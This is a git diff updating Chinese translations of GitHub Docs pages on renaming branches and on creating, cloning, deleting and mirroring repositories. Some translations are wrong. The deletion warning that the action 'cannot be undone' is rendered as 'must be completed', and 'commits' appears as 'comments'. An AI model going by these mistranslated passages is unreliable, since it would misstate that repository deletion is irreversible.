-    ![Text field for typing new branch name](/assets/images/help/branch/branch-rename-type.png)
-1. Review the information about local environments, then click **Rename branch**.
-    ![Local environment information and "Rename branch" button](/assets/images/help/branch/branch-rename-rename.png)
+1. 在分支列表中，在要重命名的分支的右侧，单击 {% octicon "pencil" aria-label="The edit icon" %}。 ![要重命名的分支右侧的铅笔图标](/assets/images/help/branch/branch-rename-edit.png)
+1. 为分支输入新名称。 ![输入新分支名称的文本字段](/assets/images/help/branch/branch-rename-type.png)
+1. 查看有关本地环境的信息，然后单击 **Rename branch（重命名分支）**。 ![本地环境信息和"重命名分支"按钮](/assets/images/help/branch/branch-rename-rename.png)
 
-## Updating a local clone after a branch name changes
+## 在分支名称更改后更新本地克隆
 
-After you rename a branch in a repository on {% data variables.product.product_name %}, any collaborator with a local clone of the repository will need to update the clone.
+在您重命名 {% data variables.product.product_name %} 仓库中的分支后，拥有该仓库本地克隆的所有协作者都需要更新克隆。
 
-From the local clone of the repository on a computer, run the following commands to update the name of the default branch.
+从计算机上的仓库本地克隆中，运行以下命令以更新默认分支的名称。
 
 ```shell
 $ git branch -m <em>OLD-BRANCH-NAME</em> <em>NEW-BRANCH-NAME</em>
@@ -47,7 +45,7 @@ $ git branch -u origin/<em>NEW-BRANCH-NAME</em> <em>NEW-BRANCH-NAME</em>
 $ git remote set-head origin -a
 ```
 
-Optionally, run the following command to remove tracking references to the old branch name.
+（可选）运行下面的命令来删除对旧分支名称的跟踪引用。
 ```
 $ git remote prune origin
 ```
diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md
index 57a56440e4..6d8dd472c1 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About repositories
-intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository.
+title: 关于仓库
+intro: 仓库包含项目的所有文件，并存储每个文件的修订记录。 您可以在仓库中讨论并管理项目的工作。
 redirect_from:
   - /articles/about-repositories
   - /github/creating-cloning-and-archiving-repositories/about-repositories
@@ -20,31 +20,31 @@ topics:
   - Repositories
 ---
 
-## About repositories
+## 关于仓库
 
-You can own repositories individually, or you can share ownership of repositories with other people in an organization.
+您可以个人拥有仓库，也可以与组织中的其他人共享仓库的所有权。
 
-You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)."
+您可以通过选择仓库的可见性来限制谁可以访问仓库。 更多信息请参阅“[关于仓库可见性](#about-repository-visibility)”。
 
-For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+对于用户拥有的仓库，您可以向其他人授予协作者访问权限，以便他们可以协作处理您的项目。 如果仓库归组织所有，您可以向组织成员授予访问权限，以便协作处理您的仓库。 For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
 {% ifversion fpt or ghec %}
-With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+通过用户帐户和组织的 {% data variables.product.prodname_free_team %}，可与无限的协作者合作处理设置了完全功能的无限公共仓库，或者是设置了有限功能的无限私有仓库， 要获取对私有仓库的高级处理，您可以升级到 {% data variables.product.prodname_pro %}、{% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %}。 {% data reusables.gated-features.more-info %}
 {% else %}
-Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories.
+每个人和组织都可拥有无限的仓库，并且可以邀请无限的协作者参与所有仓库。
 {% endif %}
 
-You can use repositories to manage your work and collaborate with others.
-- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %}
+您可以使用仓库管理您的工作并与他人合作。
+- 您可以使用议题来收集用户反馈，报告软件缺陷，并组织您想要完成的任务。 更多信息请参阅“[关于议题](/github/managing-your-work-on-github/about-issues)”。{% ifversion fpt or ghec %}
 - {% data reusables.discussions.you-can-use-discussions %}{% endif %}
-- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)."
-- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)."
+- 您可以使用拉取请求来建议对仓库的更改。 更多信息请参阅“[关于拉取请求](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)”。
+- 您可以使用项目板来组织议题和拉取请求并排定优先级。 更多信息请参阅“[关于项目板](/github/managing-your-work-on-github/about-project-boards)”。
 
 {% data reusables.repositories.repo-size-limit %}
 
-## About repository visibility
+## 关于仓库可见性
 
-You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}.
+您可以通过选择仓库的可见性来限制谁有权访问仓库：{% ifversion ghes or ghec %}公共、内部或私有{% elsif ghae %}私有或内部{% else %} 公共或私有{% endif %}。
 
 {% ifversion fpt or ghec or ghes %}
 
@@ -57,26 +57,26 @@ When you create a repository owned by your user account, the repository is alway
 {% endif %}
 
 {%- ifversion fpt or ghec %}
-- Public repositories are accessible to everyone on the internet.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- 互联网上的所有人都可以访问公共仓库。
+- 私有仓库仅可供您、您明确与其共享访问权限的人访问，而对于组织仓库，只有某些组织成员可以访问。
 {%- elsif ghes %}
-- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators.
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- 如果 {% data variables.product.product_location %} 不是私人模式或在防火墙后面，所有人都可以在互联网上访问公共仓库。 或者，使用 {% data variables.product.product_location %} 的每个人都可以使用公共仓库，包括外部协作者。
+- 私有仓库仅可供您、您明确与其共享访问权限的人访问，而对于组织仓库，只有某些组织成员可以访问。
 {%- elsif ghae %}
-- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members.
+- 私有仓库仅可供您、您明确与其共享访问权限的人访问，而对于组织仓库，只有某些组织成员可以访问。
 {%- endif %}
 {%- ifversion ghec or ghes or ghae %}
-- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)."
+- 所有企业成员均可访问内部仓库。 更多信息请参阅“[关于内部仓库](#about-internal-repositories)”。
 {%- endif %}
 
-Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+组织所有者始终有权访问其组织中创建的每个仓库。 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+拥有仓库管理员权限的人可更改现有仓库的可见性。 更多信息请参阅“[设置仓库可见性](/github/administering-a-repository/setting-repository-visibility)”。
 
 {% ifversion ghes or ghec or ghae %}
-## About internal repositories
+## 关于内部仓库
 
-{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+{% data reusables.repositories.about-internal-repos %} 有关内部资源的更多信息，请参阅 {% data variables.product.prodname_dotcom %} 的白皮书“[内部资源简介](https://resources.github.com/whitepapers/introduction-to-innersource/)”。
 
 All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
@@ -90,43 +90,43 @@ All enterprise members have read permissions to the internal repository, but int
 
 {% data reusables.repositories.internal-repo-default %}
 
-Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically.
+Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. 如果用户从企业拥有的所有组织中删除，该用户的内部仓库复刻也会自动删除。
 {% endif %}
 
-## Limits for viewing content and diffs in a repository
+## 限制查看仓库中的内容和差异
 
-Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time.
+有些类型的资源可能很大，需要在 {% data variables.product.product_name %} 上额外处理。 因此，可设置限制，以确保申请在合理的时间内完成。
 
-Most of the limits below affect both {% data variables.product.product_name %} and the API.
+以下限制大多会影响 {% data variables.product.product_name %} 和 API。
 
-### Text limits
+### 文本限制
 
-Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*).
+Text files over **512 KB** are always displayed as plain text. 代码不强调语法，散文文件不会转换成 HTML（如 Markdown、AsciiDoc *等*）。
 
-Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file.
+超过 **5 MB** 的文本文件仅通过其源 URL 访问，将通过 `{% data variables.product.raw_github_com %}` 提供；例如 `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`。 单击 **Raw（源）**按钮获取文件的源 URL。
 
-### Diff limits
+### 差异限制
 
-Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views:
+因为差异可能很大，所以我们会对评论、拉取请求和比较视图的差异施加限制：
 
 - In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data.
-- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file.
-- The maximum number of files in a single diff is limited to *300*.
-- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*.
+- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *四百行*和 *20 KB* 会自动加载为一个文件。
+- 单一差异中的最大文件数限于 *300*。
+- 单一差异中可呈现的文件（如图像、PDF 和 GeoJSON 文件）最大数量限于 *25*。
 
-Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown.
+受限差异的某些部分可能会显示，但超过限制的任何部分都不会显示。
 
-### Commit listings limits
+### 提交列表限制
 
-The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown).
+比较视图和拉取请求页面显示 `base` 与 `head` 修订之间的提交列表。 这些列表限于 **250** 次提交。 如果超过该限制，将会出现一条表示附加评论的注释（但不显示）。
 
-## Further reading
+## 延伸阅读
 
-- "[Creating a new repository](/articles/creating-a-new-repository)"
-- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)"
-- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)"
-- "[Administering a repository](/categories/administering-a-repository)"
-- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)"
-- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
-- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)"
+- "[创建新仓库](/articles/creating-a-new-repository)"
+- "[关于复刻](/github/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[通过议题和拉取请求进行协作](/categories/collaborating-with-issues-and-pull-requests)"
+- "[在 {% data variables.product.prodname_dotcom %} 上管理您的工作](/categories/managing-your-work-on-github/)"
+- "[管理仓库](/categories/administering-a-repository)"
+- "[使用图表可视化仓库数据](/categories/visualizing-repository-data-with-graphs/)"
+- "[关于 wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
+- "[{% data variables.product.prodname_dotcom %} 词汇](/articles/github-glossary)"
diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
index 21e2dfd9f8..80efa691b6 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
@@ -25,8 +25,6 @@ topics:
 
 ## 克隆仓库
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
index a8a463dce3..002357ffc6 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a new repository
-intro: You can create a new repository on your personal account or any organization where you have sufficient permissions.
+title: 创建新仓库
+intro: 您可以在个人帐户或者您有足够权限的任何组织中创建新仓库。
 redirect_from:
   - /creating-a-repo
   - /articles/creating-a-repository-in-an-organization
@@ -19,41 +19,39 @@ versions:
 topics:
   - Repositories
 ---
+
 {% tip %}
 
-**Tip:** Owners can restrict repository creation permissions in an organization. For more information, see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)."
+**提示：**所有者可限制组织中的仓库创建权限。 更多信息请参阅“[限制在组织中创建仓库](/articles/restricting-repository-creation-in-your-organization)”。
 
 {% endtip %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also create a repository using the {% data variables.product.prodname_cli %}. For more information, see "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" in the {% data variables.product.prodname_cli %} documentation.
+**提示**：您也可以使用 {% data variables.product.prodname_cli %} 创建仓库。 更多信息请参阅 {% data variables.product.prodname_cli %} 文档中的“[`gh 仓库创建`](https://cli.github.com/manual/gh_repo_create)”。
 
 {% endtip %}
 {% endif %}
 
 {% data reusables.repositories.create_new %}
-2. Optionally, to create a repository with the directory structure and files of an existing repository, use the **Choose a template** drop-down and select a template repository. You'll see template repositories that are owned by you and organizations you're a member of or that you've used before. For more information, see "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)."
-  ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
-3. Optionally, if you chose to use a template, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**.
-    ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
-3. In the Owner drop-down, select the account you wish to create the repository on.
-   ![Owner drop-down menu](/assets/images/help/repository/create-repository-owner.png)
+2. （可选）要创建具有现有仓库的目录结构和文件的仓库，请使用 **Choose a template（选择模板）**下拉菜单并选择一个模板仓库。 您将看到由您和您所属组织拥有的模板仓库，或者您以前使用过的模板仓库。 更多信息请参阅“[从模板创建仓库](/articles/creating-a-repository-from-a-template)”。 ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
+3. （可选）如果您选择使用模板，要包括模板中所有分支的目录结构和文件，而不仅仅是默认分支，请选择 **Include all branches（包括所有分支）**。 ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
+3. 在“Owner（所有者）”下拉菜单中，选择要在其上创建仓库的帐户。 ![所有者下拉菜单](/assets/images/help/repository/create-repository-owner.png)
 {% data reusables.repositories.repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
-6. If you're not using a template, there are a number of optional items you can pre-populate your repository with. If you're importing an existing repository to {% data variables.product.product_name %}, don't choose any of these options, as you may introduce a merge conflict. You can add or create new files using the user interface or choose to add new files using the command line later. For more information, see "[Importing a Git repository using the command line](/articles/importing-a-git-repository-using-the-command-line/)," "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)," and "[Addressing merge conflicts](/articles/addressing-merge-conflicts/)."
-    - You can create a README, which is a document describing your project. For more information, see "[About READMEs](/articles/about-readmes/)."
-    - You can create a *.gitignore* file, which is a set of ignore rules. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)."{% ifversion fpt or ghec %}
-    - You can choose to add a software license for your project. For more information, see "[Licensing a repository](/articles/licensing-a-repository)."{% endif %}
+6. 如果您不使用模板，可以使用许多可选项预填充仓库。 如果要将现有仓库导入 {% data variables.product.product_name %}，请不要选择上述任何选项，否则可能会导致合并冲突。 您可以通过用户界面添加或创建新文件，或者选择稍后使用命令行添加新文件。 For more information, see "[Importing a Git repository using the command line](/articles/importing-a-git-repository-using-the-command-line/)," "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)," and "[Addressing merge conflicts](/articles/addressing-merge-conflicts/)."
+    - 您可以创建自述文件以介绍您的项目。 更多信息请参阅“[关于自述文件](/articles/about-readmes/)”。
+    - 您可以创建 *.gitignore* 文件以设置忽略规则。 更多信息请参阅“[忽略文件](/github/getting-started-with-github/ignoring-files)”。{% ifversion fpt or ghec %}
+    - 您可以选择为项目添加软件许可。 更多信息请参阅“[许可仓库](/articles/licensing-a-repository)”。{% endif %}
 {% data reusables.repositories.select-marketplace-apps %}
 {% data reusables.repositories.create-repo %}
 {% ifversion fpt or ghec %}
-9. At the bottom of the resulting Quick Setup page, under "Import code from an old repository", you can choose to import a project to your new repository. To do so, click **Import code**.
+9. 在生成的 Quick Setup（快速设置）页面底部的“Import code from an old repository（从旧仓库导入代码）”下，您可以选择将项目导入新仓库。 为此，请单击 **Import code（导入代码）**。
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- “[管理对组织仓库的访问](/articles/managing-access-to-your-organization-s-repositories)”
+- [开源指南](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
index e5428dc4c8..6d5f177fe0 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issues-only repository
-intro: '{% data variables.product.product_name %} does not provide issues-only access permissions, but you can accomplish this using a second repository which contains only the issues.'
+title: 创建仅含议题的仓库
+intro: '{% data variables.product.product_name %} 不提供仅限议题的访问权限，但您可以通过仅含议题的第二仓库来实现此目的。'
 redirect_from:
   - /articles/issues-only-access-permissions
   - /articles/is-there-issues-only-access-to-organization-repositories
@@ -14,13 +14,14 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Issues-only repository
+shortTitle: 仅议题仓库
 ---
-1. Create a **private** repository to host the source code from your project.
-2. Create a second repository with the permissions you desire to host the issue tracker.
-3. Add a README file to the issues repository explaining the purpose of this repository and linking to the issues section.
-4. Set your collaborators or teams to give access to the repositories as you desire.
 
-Users with write access to both can reference and close issues back and forth across the repositories, but those without the required permissions will see references that contain a minimum of information.
+1. 创建一个**私有**仓库来托管项目的源代码。
+2. 使用所需权限创建第二仓库来托管议题跟踪器。
+3. 向议题仓库添加自述文件以解释此仓库的用途并链接到议题部分。
+4. 设置协作者或团队，根据需要授予适当的仓库权限。
 
-For example, if you pushed a commit to the private repository's default branch with a message that read `Fixes organization/public-repo#12`, the issue would be closed, but only users with the proper permissions would see the cross-repository reference indicating the commit that closed the issue. Without the permissions, a reference still appears, but the details are omitted.
+对这两个仓库都有写入权限的用户可跨仓库来回引用和关闭议题，但没有所需权限的用户将会看到包含极少信息的引用。
+
+例如，如果您通过读取 `Fixes organization/public-repo#12` 的消息将提交推送到私有仓库的默认分支，则该议题将被关闭，但只有具有适当权限的用户才会看到指示该提交关闭议题的跨仓库引用。 没有权限的用户也会看到引用，但看不到详细信息。
diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
index f9f2013c0c..b8fb627ea5 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a repository
-intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository.
+title: 删除仓库
+intro: 如果您是组织所有者或拥有仓库或复刻的管理员权限，可删除任何仓库或复刻。 删除复刻仓库不会删除上游仓库。
 redirect_from:
   - /delete-a-repo
   - /deleting-a-repo
@@ -15,26 +15,25 @@ versions:
 topics:
   - Repositories
 ---
-{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %}
 
-{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %}
+{% data reusables.organizations.owners-and-admins-can %} 删除组织仓库。 如果已禁用 **Allow members to delete or transfer repositories for this organization（允许成员删除或转让此组织的仓库）**，仅组织所有者可删除组织仓库。 {% data reusables.organizations.new-repo-permissions-more-info %}
+
+{% ifversion not ghae %}删除公共仓库不会删除该仓库的任何复刻。{% endif %}
 
 {% warning %}
 
-**Warnings**:
+**警告**：
 
-- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone.
+- 删除仓库将**永久**删除发行版附件和团队权限。 此操作**必须**完成。
 - Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository.
 
 {% endwarning %}
 
-Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. 更多信息请参阅“[恢复删除的仓库](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)”。 {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-2. Under Danger Zone, click **Delete this repository**.
-   ![Repository deletion button](/assets/images/help/repository/repo-delete.png)
-3. **Read the warnings**.
-4. To verify that you're deleting the correct repository, type the name of the repository you want to delete.
-   ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png)
-5. Click **I understand the consequences, delete this repository**.
+2. 在 Danger Zone（危险区域）下，单击**Delete this repository（删除此仓库）**。 ![仓库删除按钮](/assets/images/help/repository/repo-delete.png)
+3. **阅读警告**。
+4. 如需验证是否正在删除正确的仓库，请输入要删除仓库的名称。 ![删除标签](/assets/images/help/repository/repo-delete-confirmation.png)
+5. 单击 **I understand the consequences, delete this repository（我理解后果，删除此仓库）**。
diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
index 0cbb49c85b..79a455598c 100644
--- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
+++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
@@ -1,5 +1,5 @@
 ---
-title: Duplicating a repository
+title: 镜像仓库
 intro: 'To maintain a mirror of a repository without forking it, you can run a special clone command, then mirror-push to the new repository.'
 redirect_from:
   - /articles/duplicating-a-repo
@@ -14,7 +14,8 @@ versions:
 topics:
   - Repositories
 ---
-{% ifversion fpt or ghec %} 
+
+{% ifversion fpt or ghec %}
 
 {% note %}
 
@@ -24,81 +25,81 @@ topics:
 
 {% endif %}
 
-Before you can push the original repository to your new copy, or _mirror_, of the repository, you must [create the new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. In these examples, `exampleuser/new-repository` or `exampleuser/mirrored` are the mirrors.
+Before you can push the original repository to your new copy, or _mirror_, of the repository, you must [create the new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. 在以下示例中，`exampleuser/new-repository` 或 `exampleuser/mirrored` 是镜像。
 
-## Mirroring a repository
+## 镜像仓库
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare clone of the repository.
+2. 创建仓库的裸克隆。
   ```shell
   $ git clone --bare https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>old-repository</em>.git
   ```
-3. Mirror-push to the new repository.
+3. 镜像推送至新仓库。
   ```shell
   $ cd <em>old-repository</em>
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>new-repository</em>.git
   ```
-4. Remove the temporary local repository you created earlier.
+4. 删除您之前创建的临时本地仓库。
   ```shell
   $ cd ..
   $ rm -rf <em>old-repository</em>
   ```
 
-## Mirroring a repository that contains {% data variables.large_files.product_name_long %} objects
+## 镜像包含 {% data variables.large_files.product_name_long %} 对象的仓库。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare clone of the repository. Replace the example username with the name of the person or organization who owns the repository, and replace the example repository name with the name of the repository you'd like to duplicate.
+2. 创建仓库的裸克隆。 将示例用户名替换为拥有仓库的个人或组织的名称，并将示例仓库名称替换为要复制的仓库的名称。
   ```shell
   $ git clone --bare https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>old-repository</em>.git
   ```
-3. Navigate to the repository you just cloned.
+3. 导航到刚克隆的仓库。
   ```shell
   $ cd <em>old-repository</em>
   ```
-4. Pull in the repository's {% data variables.large_files.product_name_long %} objects.
+4. 拉取仓库的 {% data variables.large_files.product_name_long %} 对象。
   ```shell
   $ git lfs fetch --all
   ```
-5. Mirror-push to the new repository.
+5. 镜像推送至新仓库。
   ```shell
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>new-repository</em>.git
   ```
-6. Push the repository's {% data variables.large_files.product_name_long %} objects to your mirror.
+6. 将仓库的 {% data variables.large_files.product_name_long %} 对象推送至镜像。
   ```shell
   $ git lfs push --all https://github.com/<em>exampleuser/new-repository.git</em>
   ```
-7. Remove the temporary local repository you created earlier.
+7. 删除您之前创建的临时本地仓库。
   ```shell
   $ cd ..
   $ rm -rf <em>old-repository</em>
   ```
 
-## Mirroring a repository in another location
+## 镜像其他位置的仓库
 
-If you want to mirror a repository in another location, including getting updates from the original, you can clone a mirror and periodically push the changes.
+如果要镜像其他位置的仓库，包括从原始位置获取更新，可以克隆镜像并定期推送更改。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare mirrored clone of the repository.
+2. 创建仓库的裸镜像克隆。
   ```shell
   $ git clone --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>repository-to-mirror</em>.git
   ```
-3. Set the push location to your mirror.
+3. 设置到镜像的推送位置。
   ```shell
   $ cd <em>repository-to-mirror</em>
   $ git remote set-url --push origin https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>mirrored</em>
   ```
-As with a bare clone, a mirrored clone includes all remote branches and tags, but all local references will be overwritten each time you fetch, so it will always be the same as the original repository. Setting the URL for pushes simplifies pushing to your mirror.
+与裸克隆一样，镜像的克隆包括所有远程分支和标记，但每次获取时都会覆盖所有本地引用，因此它始终与原始仓库相同。 设置推送 URL 可简化至镜像的推送。
 
-4. To update your mirror, fetch updates and push.
+4. 如需更新镜像，请获取更新和推送。
   ```shell
   $ git fetch -p origin
   $ git push --mirror
   ```
-{% ifversion fpt or ghec %} 
-## Further reading
+{% ifversion fpt or ghec %}
+## 延伸阅读
 
 * "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github#pushing-changes-to-github)"
 * "[About Git Large File Storage and GitHub Desktop](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop)"
-* "[About GitHub Importer](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)"
+* “[关于 GitHub 导入工具](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)”
 
 {% endif %}
